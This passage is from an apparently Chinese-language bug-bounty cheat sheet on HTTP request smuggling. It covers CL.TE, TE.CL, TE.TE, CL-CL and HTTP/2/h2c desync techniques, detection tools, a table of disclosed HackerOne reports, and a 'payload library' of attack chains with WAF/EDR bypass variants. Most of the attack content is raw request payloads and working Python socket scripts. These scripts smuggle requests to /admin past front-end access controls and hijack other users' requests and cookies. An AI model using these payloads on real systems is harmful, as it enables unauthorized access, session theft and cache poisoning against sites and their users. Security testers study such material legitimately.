| **TE.CL** | Transfer-Encoding | Content-Length |
|
||||
| **TE.TE** | 都看,但前后处理混淆 | 同 |
|
||||
| **HTTP/2 → HTTP/1 desync** | h2 | h1 后端 |
|
||||
| **CL.0** | CL=0 后端忽略 | 后端读 body |
|
||||
|
||||
---
|
||||
|
||||
## 3. 探测手法
|
||||
|
||||
### 3.1 工具
|
||||
|
||||
```bash
|
||||
# Burp 扩展
|
||||
HTTP Request Smuggler
|
||||
|
||||
# 命令行
|
||||
smuggler.py -u https://target -v
|
||||
http2smugl quirks --target target.com:443
|
||||
h2csmuggler -u https://target/ --path /admin
|
||||
```
|
||||
|
||||
### 3.2 经典 PoC
|
||||
|
||||
#### CL.TE
|
||||
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: victim
|
||||
Content-Length: 6
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
0
|
||||
|
||||
G
|
||||
```
|
||||
|
||||
前端按 CL=6 读了 `0\r\n\r\nG`,后端按 chunked 看到 `0\r\n\r\n` 结束,剩下 `G` 进入下一个请求。
|
||||
|
||||
#### TE.CL
|
||||
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: victim
|
||||
Content-Length: 4
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
5c
|
||||
GPOST / HTTP/1.1
|
||||
...
|
||||
0
|
||||
|
||||
```
|
||||
|
||||
#### 双 CL
|
||||
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: victim
|
||||
Content-Length: 4
|
||||
Content-Length: 1
|
||||
|
||||
GPOST...
|
||||
```
|
||||
|
||||
#### CL.0(HTTP/2 时常见)
|
||||
|
||||
后端忽略 CL(POST 当 GET 处理),前端按 CL 取走 body → 走私。
|
||||
|
||||
#### h2c smuggling
|
||||
|
||||
```bash
|
||||
h2csmuggler -u http://target/ --path /admin
|
||||
# 利用 HTTP/1.1 → HTTP/2 升级让前置代理失效
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 4. Bypass 矩阵
|
||||
|
||||
| 拦 | 绕 |
|
||||
|---|---|
|
||||
| 标准 CL/TE 检测 | TE 大小写:`Transfer-encoding`、`transfer-Encoding` |
|
||||
| TE 拦 | TE 末尾加空格:`Transfer-Encoding : chunked` |
|
||||
| WAF 检测 | TE 值变形:`chunked`、`chunked,gzip`、`xchunked` |
|
||||
| 标准 chunk 拦 | 0 大小 chunk 后塞数据 |
|
||||
| h2 关闭 | h2c upgrade |
|
||||
|
||||
---
|
||||
|
||||
## 5. 利用提权 / 横向
|
||||
|
||||
```
|
||||
1. 缓存投毒:让代理把恶意响应缓存为另一 URL
|
||||
2. 跨用户访问:把 admin 端点的响应"借"给下个用户
|
||||
3. 旁路 IP 限制:用走私走过 IP 校验
|
||||
4. 偷 secret:让别人的请求 + 自己的响应混合
|
||||
5. XSS(缓存了走私响应)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 6. 真实案例指纹
|
||||
|
||||
- PortSwigger blog 系列(James Kettle)
|
||||
- Cloudflare / Akamai 多次披露
|
||||
- HackerOne H1 上 desync 报告 $5k–$30k
|
||||
|
||||
通用指纹:
|
||||
- 同一连接发 2 个请求,第 2 个响应"看起来是别的请求的"
|
||||
- 偶尔 503 / 502 / 异常 status code
|
||||
- 代理日志和后端日志请求数对不上
|
||||
|
||||
---
|
||||
|
||||
## 7. 复现 / 证据要点
|
||||
|
||||
### 7.1 PoC
|
||||
|
||||
```
|
||||
# 在 Burp Repeater 用 raw 模式发送下面包(保留 CRLF)
|
||||
POST / HTTP/1.1
|
||||
Host: target.com
|
||||
Content-Length: 6
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
0\r\n\r\nG
|
||||
|
||||
# 立即第二个请求(同连接,Burp Repeater 同样栏)
|
||||
GET / HTTP/1.1
|
||||
Host: target.com
|
||||
|
||||
→ 第二个响应应当反映前一次走私的 'G' 前缀
|
||||
```
|
||||
|
||||
### 7.2 CVSS
|
||||
|
||||
```
|
||||
HTTP smuggling → 缓存投毒 = 8.1 High
|
||||
HTTP smuggling → 旁路鉴权 = 9.1 Critical
|
||||
HTTP smuggling → 跨用户 = 8.1 High
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 8. 不要做的事
|
||||
|
||||
- **禁**:在生产上做大流量 desync 测试(影响他人请求)。低速、单次验证。
|
||||
- **禁**:把走私构造的恶意响应缓存到全站共享路径(其他用户会受影响)。在你自己的 cache key 上演示。
|
||||
- **禁**:实际偷取他人 cookie / token。看到 desync 现象即停。
|
||||
|
||||
## H1 真实案例
|
||||
|
||||
_共 38 份 HackerOne 已披露 High/Critical 报告命中本类,按 (赏金 + 投票×100) 排序取 Top 12_
|
||||
|
||||
| Severity | $ | 程序 | 标题(点击看原报告) | 摘要 |
|
||||
|---|--:|---|---|---|
|
||||
| High | 20000 usd | PayPal | [Bypass for #488147 enables stored XSS on https://paypal.com/signin again](https://hackerone.com/reports/510152) | Bypass for #488147 enables stored XSS on https://paypal.com/signin again |
|
||||
| High | 18900 usd | PayPal | [Stored XSS on https://paypal.com/signin via cache poisoning](https://hackerone.com/reports/488147) | Stored XSS on https://paypal.com/signin via cache poisoning |
|
||||
| Critical | — | Slack | [Mass account takeovers using HTTP Request Smuggling on https://slackb.com/ to steal session cookies](https://hackerone.com/reports/737140) | Hi Slack Security Team! My name is Evan and I'm a first time bug hunter to your platform :) Because you guys were running a mon… |
|
||||
| High | — | LY Corporation | [Request smuggling on admin-official.line.me could lead to account takeover](https://hackerone.com/reports/740037) | Request smuggling on admin-official.line.me could lead to account takeover |
|
||||
| Critical | — | Eternal | [Stealing Zomato X-Access-Token: in Bulk using HTTP Request Smuggling on api.zomato.com](https://hackerone.com/reports/771666) | Intro Hi Zomato Security Team! My name is Evan Custodio and this is my first time evaluating your platform. I specialize in loo… |
|
||||
| Critical | 7500 usd | Basecamp | [HTTP Request Smuggling via HTTP/2](https://hackerone.com/reports/1211724) | HTTP Request Smuggling via HTTP/2 |
|
||||
| High | — | Helium | [HTTP request Smuggling](https://hackerone.com/reports/867952) | When malformed or abnormal HTTP requests are interpreted by one or more entities in the data flow between the user and the web … |
|
||||
| Critical | 6000 usd | Cloudflare Public Bug Bounty | [HTTP Request Smuggling in Transform Rules using hexadecimal escape sequences in the concat() func…](https://hackerone.com/reports/1478633) | HTTP Request Smuggling in Transform Rules using hexadecimal escape sequences in the concat() function |
|
||||
| High | 750 usd | GSA Bounty | [HTTP Request Smuggling on https://labs.data.gov](https://hackerone.com/reports/726773) | Greetings, The application appears to be vulnerable to HTTP request smuggling due to a disagreement between the front-end and b… |
|
||||
| High | 4660 usd | Internet Bug Bounty | [Possibility of Request smuggling attack](https://hackerone.com/reports/2280391) | Request smuggling was possible by throwing an IOException with the upper size limit of the trailer header |
|
||||
| High | — | Node.js | [HTTP Request Smuggling due to CR-to-Hyphen conversion](https://hackerone.com/reports/922597) | NOTE! Thanks for submitting a report! Please replace *all* the [square] sections below with the pertinent details. Remember, th… |
|
||||
| Critical | 5000 usd | Aiven Ltd | [Grafana RCE via SMTP server parameter injection](https://hackerone.com/reports/1200647) | Summary: This report is similar to #1180653, except with different parameter injection entrypoint |
|
||||
|
||||
**命中本类的 weakness 分布:**
|
||||
|
||||
- HTTP Request Smuggling:27 条
|
||||
- CRLF Injection:5 条
|
||||
- Uncategorized → 手工归类:4 条
|
||||
- HTTP Response Splitting:2 条
|
||||
|
||||
|
||||
## Payload 库
|
||||
|
||||
_4 个结构化 web payload,含完整攻击链 + WAF/EDR 绕过变体_
|
||||
|
||||
### CL-TE请求走私 `smuggling-cl-te`
|
||||
Content-Length与Transfer-Encoding走私
|
||||
子类:**CL-TE** · tags: `smuggling` `request` `http`
|
||||
|
||||
**前置条件:** 目标使用多层代理;前后端处理差异
|
||||
|
||||
**攻击链:**
|
||||
|
||||
**1. CL-TE基础**
|
||||
_CL-TE走私_
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: target.com
|
||||
Content-Length: 13
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
0
|
||||
|
||||
SMUGGLED
|
||||
```
|
||||
|
||||
**2. TE-CL基础**
|
||||
_TE-CL走私_
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: target.com
|
||||
Content-Length: 3
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
8
|
||||
SMUGGLED
|
||||
0
|
||||
```
|
||||
|
||||
**3. TE-TE**
|
||||
_TE-TE走私_
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: target.com
|
||||
Transfer-Encoding: chunked
|
||||
Transfer-Encoding: x
|
||||
|
||||
0
|
||||
|
||||
SMUGGLED
|
||||
```
|
||||
|
||||
**WAF/EDR 绕过变体:**
|
||||
|
||||
**1. TE头混淆变体**
|
||||
_通过在Transfer-Encoding头中添加空格、制表符、换行符、多重头部、拼写变体等方式使前后端代理对该头的解析产生差异,触发请求走私_
|
||||
```
|
||||
# TE头混淆(使前/后端对TE解析不一致):
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
Transfer-Encoding : chunked
|
||||
|
||||
Transfer-Encoding: xchunked
|
||||
|
||||
Transfer-Encoding: chunked
|
||||
Transfer-Encoding: x
|
||||
|
||||
Transfer-Encoding:[tab]chunked
|
||||
|
||||
X: x
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
Transfer-Encoding
|
||||
: chunked
|
||||
```
|
||||
|
||||
**2. Chunked扩展字段与CL-TE组合利用**
|
||||
_利用HTTP Chunked编码的扩展字段(分号后内容)干扰解析,或通过CL-0技巧使前端认为请求无体而后端继续处理走私的第二个请求_
|
||||
```
|
||||
# Chunked扩展字段(RFC允许的分号后扩展):
|
||||
POST / HTTP/1.1
|
||||
Host: target.com
|
||||
Content-Length: 6
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
0;ext="injected"
|
||||
|
||||
G
|
||||
|
||||
# CL-0走私:
|
||||
POST / HTTP/1.1
|
||||
Host: target.com
|
||||
Content-Length: 0
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
GET /admin HTTP/1.1
|
||||
Host: target.com
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### CL-CL走私 `smuggling-cl-cl`
|
||||
利用前端代理和后端服务器同时处理Content-Length头但对多个CL头的处理差异实现HTTP请求走私
|
||||
子类:**CL-CL** · tags: `smuggling` `cl-cl` `http`
|
||||
|
||||
**前置条件:** 存在前端代理(如HAProxy/Nginx)+后端服务器架构;两端对Content-Length头的解析存在差异;理解HTTP请求走私原理
|
||||
|
||||
**攻击链:**
|
||||
|
||||
**1. 检测CL-CL走私条件** _[linux]_
|
||||
_探测目标是否存在双CL走私条件_
|
||||
```
|
||||
# 检测前端代理类型:
|
||||
curl -sI "http://target.com/" | grep -iE "server:|via:|x-forwarded"
|
||||
|
||||
# 发送包含两个Content-Length的请求:
|
||||
curl -v "http://target.com/" -H "Content-Length: 6" -H "Content-Length: 0" -d "test12"
|
||||
|
||||
# 观察响应:
|
||||
# - 如果正常返回: 可能只解析了一个CL
|
||||
# - 如果400/错误: 服务器拒绝多CL(安全)
|
||||
# - 如果部分处理: 存在走私可能
|
||||
```
|
||||
|
||||
**2. CL-CL请求走私POC**
|
||||
_构造包含两个Content-Length的走私请求,将恶意请求注入到后端处理队列_
|
||||
```
|
||||
# Python POC - CL-CL走私
|
||||
import socket
|
||||
|
||||
def smuggle_cl_cl(host, port):
|
||||
payload = (
|
||||
"POST / HTTP/1.1
|
||||
"
|
||||
f"Host: {host}
|
||||
"
|
||||
"Content-Length: 44
|
||||
" # 前端使用这个CL
|
||||
"Content-Length: 0
|
||||
" # 后端使用这个CL
|
||||
"
|
||||
"
|
||||
"GET /admin HTTP/1.1
|
||||
" # 走私的请求
|
||||
f"Host: {host}
|
||||
"
|
||||
"
|
||||
"
|
||||
)
|
||||
s = socket.socket()
|
||||
s.connect((host, port))
|
||||
s.send(payload.encode())
|
||||
resp = s.recv(4096).decode(errors="ignore")
|
||||
print(resp)
|
||||
s.close()
|
||||
|
||||
smuggle_cl_cl("target.com", 80)
|
||||
```
|
||||
|
||||
**3. 利用CL-CL走私绕过前端访问控制**
|
||||
_利用CL-CL走私绕过前端代理的ACL访问限制访问/admin_
|
||||
```
|
||||
# 场景:前端限制/admin访问,通过走私绕过
|
||||
import socket
|
||||
|
||||
def bypass_acl(host, port):
|
||||
# 走私请求到/admin端点
|
||||
smuggled = (
|
||||
"GET /admin HTTP/1.1
|
||||
"
|
||||
f"Host: {host}
|
||||
"
|
||||
"
|
||||
"
|
||||
)
|
||||
content_length_real = len(smuggled)
|
||||
|
||||
payload = (
|
||||
"POST / HTTP/1.1
|
||||
"
|
||||
f"Host: {host}
|
||||
"
|
||||
f"Content-Length: {content_length_real}
|
||||
"
|
||||
"Content-Length: 0
|
||||
"
|
||||
"Connection: keep-alive
|
||||
"
|
||||
"
|
||||
"
|
||||
+ smuggled
|
||||
)
|
||||
|
||||
s = socket.socket()
|
||||
s.connect((host, port))
|
||||
s.send(payload.encode())
|
||||
# 接收两个响应
|
||||
resp = s.recv(8192).decode(errors="ignore")
|
||||
print("[Response 1 - Normal]")
|
||||
print(resp[:500])
|
||||
resp2 = s.recv(8192).decode(errors="ignore")
|
||||
print("[Response 2 - Smuggled /admin]")
|
||||
print(resp2[:500])
|
||||
s.close()
|
||||
|
||||
bypass_acl("target.com", 80)
|
||||
```
|
||||
|
||||
**WAF/EDR 绕过变体:**
|
||||
|
||||
**1. HTTP/2降级绕过**
|
||||
_利用HTTP/2到HTTP/1.1协议降级时前后端对请求边界解析不一致实现走私_
|
||||
```
|
||||
# HTTP/2 -> HTTP/1.1降级利用
|
||||
# 前端H2后端H1时的走私
|
||||
:method: POST
|
||||
:path: /
|
||||
:authority: target.com
|
||||
content-length: 0
|
||||
|
||||
GET /admin HTTP/1.1
|
||||
Host: target.com
|
||||
|
||||
# H2C升级走私
|
||||
GET / HTTP/1.1
|
||||
Host: target.com
|
||||
Upgrade: h2c
|
||||
HTTP2-Settings: <base64>
|
||||
Connection: Upgrade, HTTP2-Settings
|
||||
```
|
||||
|
||||
**2. 连接复用操控**
|
||||
_通过双Content-Length头值差异和keep-alive连接复用在代理链中走私请求_
|
||||
```
|
||||
# 双CL值差异
|
||||
POST / HTTP/1.1
|
||||
Host: target.com
|
||||
Content-Length: 6
|
||||
Content-Length: 50
|
||||
|
||||
12345GPOST /admin HTTP/1.1
|
||||
Host: target.com
|
||||
|
||||
# 利用keep-alive连接复用
|
||||
GET / HTTP/1.1
|
||||
Host: target.com
|
||||
Connection: keep-alive
|
||||
Content-Length: 0
|
||||
|
||||
GET /admin HTTP/1.1
|
||||
Host: internal.target.com
|
||||
```
|
||||
|
||||
**3. 代理链混淆**
|
||||
_利用多级代理对Content-Length头中空格和冒号处理差异实现请求走私_
|
||||
```
|
||||
# 多级代理CL处理差异
|
||||
POST / HTTP/1.1
|
||||
Host: target.com
|
||||
Content-Length: 44
|
||||
Content-Length : 0
|
||||
|
||||
GET /admin HTTP/1.1
|
||||
Host: target.com
|
||||
X: 1
|
||||
|
||||
# 空格混淆CL头
|
||||
POST / HTTP/1.1
|
||||
Host: target.com
|
||||
Content-Length: 0
|
||||
Content-Length: 42
|
||||
|
||||
GET /internal HTTP/1.1
|
||||
Host: target.com
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### TE-CL走私 `smuggling-te-cl`
|
||||
利用前端使用Transfer-Encoding而后端使用Content-Length的差异实现HTTP请求走私
|
||||
子类:**TE-CL** · tags: `smuggling` `te-cl` `http`
|
||||
|
||||
**前置条件:** 前端代理优先处理Transfer-Encoding;后端服务器优先处理Content-Length;理解chunked编码格式
|
||||
|
||||
**攻击链:**
|
||||
|
||||
**1. 检测TE-CL差异**
|
||||
_检测前端和后端对TE vs CL的优先级差异_
|
||||
```
|
||||
# 发送同时包含TE和CL的请求:
|
||||
curl -v "http://target.com/" -H "Transfer-Encoding: chunked" -H "Content-Length: 3" -d "0
|
||||
|
||||
"
|
||||
|
||||
# 使用timing检测:
|
||||
# 如果后端使用CL,会等待更多数据(超时)
|
||||
import socket, time
|
||||
|
||||
s = socket.socket()
|
||||
s.connect(("target.com", 80))
|
||||
payload = (
|
||||
"POST / HTTP/1.1
|
||||
"
|
||||
"Host: target.com
|
||||
"
|
||||
"Transfer-Encoding: chunked
|
||||
"
|
||||
"Content-Length: 6
|
||||
"
|
||||
"
|
||||
"
|
||||
"0
|
||||
|
||||
"
|
||||
)
|
||||
s.send(payload.encode())
|
||||
start = time.time()
|
||||
resp = s.recv(4096)
|
||||
elapsed = time.time() - start
|
||||
print(f"Response in {elapsed:.2f}s")
|
||||
# 快速响应=后端用TE, 延迟响应=后端用CL
|
||||
```
|
||||
|
||||
**2. TE-CL走私POC**
|
||||
_TE-CL走私:前端按chunked处理转发整个body,后端按CL只读取部分,剩余变为走私请求_
|
||||
```
|
||||
import socket
|
||||
|
||||
def te_cl_smuggle(host, port):
|
||||
# 前端(TE): 读取到"0
|
||||
|
||||
"结束 → 整个payload是一个请求
|
||||
# 后端(CL): 只读取Content-Length指定的字节 → 剩余字节是新请求
|
||||
|
||||
smuggled = "GET /admin HTTP/1.1
|
||||
Host: {}
|
||||
|
||||
".format(host)
|
||||
|
||||
payload = (
|
||||
"POST / HTTP/1.1
|
||||
"
|
||||
"Host: {}
|
||||
"
|
||||
"Content-Length: 4
|
||||
"
|
||||
"Transfer-Encoding: chunked
|
||||
"
|
||||
"
|
||||
"
|
||||
"{}
|
||||
"
|
||||
"{}"
|
||||
"0
|
||||
|
||||
"
|
||||
).format(host, format(len(smuggled), "x"), smuggled)
|
||||
|
||||
s = socket.socket()
|
||||
s.connect((host, port))
|
||||
s.send(payload.encode())
|
||||
resp = s.recv(4096)
|
||||
print(resp.decode(errors="ignore")[:500])
|
||||
s.close()
|
||||
|
||||
te_cl_smuggle("target.com", 80)
|
||||
```
|
||||
|
||||
**3. TE-CL走私实现请求劫持**
|
||||
_走私不完整的POST请求,使下一个用户的请求内容(含Cookie)被反射到搜索结果中_
|
||||
```
|
||||
# 利用走私劫持下一个用户的请求
|
||||
import socket
|
||||
|
||||
def hijack_request(host, port):
|
||||
# 走私一个不完整的POST请求
|
||||
# 下一个正常用户的请求会被拼接为这个POST的body
|
||||
smuggled = (
|
||||
"POST /search HTTP/1.1
|
||||
"
|
||||
"Host: {}
|
||||
"
|
||||
"Content-Type: application/x-www-form-urlencoded
|
||||
"
|
||||
"Content-Length: 200
|
||||
" # 大CL会吞噬下一个请求
|
||||
"
|
||||
"
|
||||
"q=" # 下一个请求的数据会被当作搜索参数
|
||||
).format(host)
|
||||
|
||||
chunk_size = format(len(smuggled), "x")
|
||||
payload = (
|
||||
"POST / HTTP/1.1
|
||||
"
|
||||
"Host: {}
|
||||
"
|
||||
"Content-Length: 4
|
||||
"
|
||||
"Transfer-Encoding: chunked
|
||||
"
|
||||
"
|
||||
"
|
||||
"{}
|
||||
"
|
||||
"{}"
|
||||
"0
|
||||
|
||||
"
|
||||
).format(host, chunk_size, smuggled)
|
||||
|
||||
s = socket.socket()
|
||||
s.connect((host, port))
|
||||
s.send(payload.encode())
|
||||
print(s.recv(4096).decode(errors="ignore")[:500])
|
||||
s.close()
|
||||
|
||||
hijack_request("target.com", 80)
|
||||
```
|
||||
|
||||
**WAF/EDR 绕过变体:**
|
||||
|
||||
**1. TE头大小写变体绕过**
|
||||
_利用不同代理对Transfer-Encoding头名大小写和值处理的差异绕过TE-CL走私检测_
|
||||
```
|
||||
# TE头大小写混淆
|
||||
POST / HTTP/1.1
|
||||
Host: target.com
|
||||
Content-Length: 4
|
||||
Transfer-Encoding: chunked
|
||||
Transfer-encoding: identity
|
||||
|
||||
5c
|
||||
GPOST /admin HTTP/1.1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 15
|
||||
|
||||
x=1
|
||||
0
|
||||
|
||||
|
||||
# Transfer-Encoding变体
|
||||
Transfer-Encoding: xchunked
|
||||
Transfer-Encoding : chunked
|
||||
Transfer-Encoding: chunked
|
||||
Transfer-Encoding: x
|
||||
```
|
||||
|
||||
**2. 空白字符注入**
|
||||
_在Transfer-Encoding头中注入制表符、前导空格和CRLF字符,使不同代理解析不同_
|
||||
```
|
||||
# 制表符/换行注入TE头
|
||||
POST / HTTP/1.1
|
||||
Host: target.com
|
||||
Content-Length: 4
|
||||
Transfer-Encoding:\tchunked
|
||||
|
||||
# 行前空格混淆
|
||||
POST / HTTP/1.1
|
||||
Host: target.com
|
||||
Content-Length: 4
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
# CRLF注入变体
|
||||
POST / HTTP/1.1
|
||||
Host: target.com
|
||||
Content-Length: 4
|
||||
Transfer-Encoding: chunked\x0d\x0aX-Ignore: x
|
||||
```
|
||||
|
||||
**3. chunk扩展字段利用**
|
||||
_利用HTTP分块传输中chunk-extension字段和非标准chunk大小格式造成前后端解析差异_
|
||||
```
|
||||
# chunk扩展混淆
|
||||
POST / HTTP/1.1
|
||||
Host: target.com
|
||||
Content-Length: 4
|
||||
Transfer-Encoding: chunked
|
||||
|
||||
5;ext=val
|
||||
hello
|
||||
0
|
||||
|
||||
|
||||
# 超长chunk扩展
|
||||
5;aaaaaaa...aaaa=bbbb...bbb
|
||||
hello
|
||||
0
|
||||
|
||||
|
||||
# 非法chunk大小格式
|
||||
5
|
||||
hello
|
||||
0
|
||||
|
||||
|
||||
# 0x前缀
|
||||
0x5
|
||||
hello
|
||||
0
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### TE-TE走私 `smuggling-te-te`
|
||||
利用前端和后端对Transfer-Encoding头的不同混淆变体的处理差异实现请求走私
|
||||
子类:**TE-TE** · tags: `smuggling` `te-te` `http`
|
||||
|
||||
**前置条件:** 前后端都支持Transfer-Encoding;可以通过TE头混淆使一端忽略TE;了解chunked编码和HTTP走私原理
|
||||
|
||||
**攻击链:**
|
||||
|
||||
**1. TE混淆变体探测**
|
||||
_测试各种Transfer-Encoding混淆变体,寻找前后端解析差异_
|
||||
```
|
||||
# Transfer-Encoding的各种混淆写法:
|
||||
# 测试哪种混淆能让一端忽略TE
|
||||
import socket
|
||||
|
||||
te_variants = [
|
||||
"Transfer-Encoding: xchunked",
|
||||
"Transfer-Encoding : chunked", # 冒号前空格
|
||||
"Transfer-Encoding: chunked
|
||||
Transfer-encoding: cow", # 两个TE
|
||||
"Transfer-Encoding : chunked", # Tab分隔
|
||||
"Transfer-Encoding: chunked", # Tab前缀
|
||||
" Transfer-Encoding: chunked", # 行首空格
|
||||
"X: x
|
||||
Transfer-Encoding: chunked", # Header注入
|
||||
"Transfer-Encoding: chunked | ||||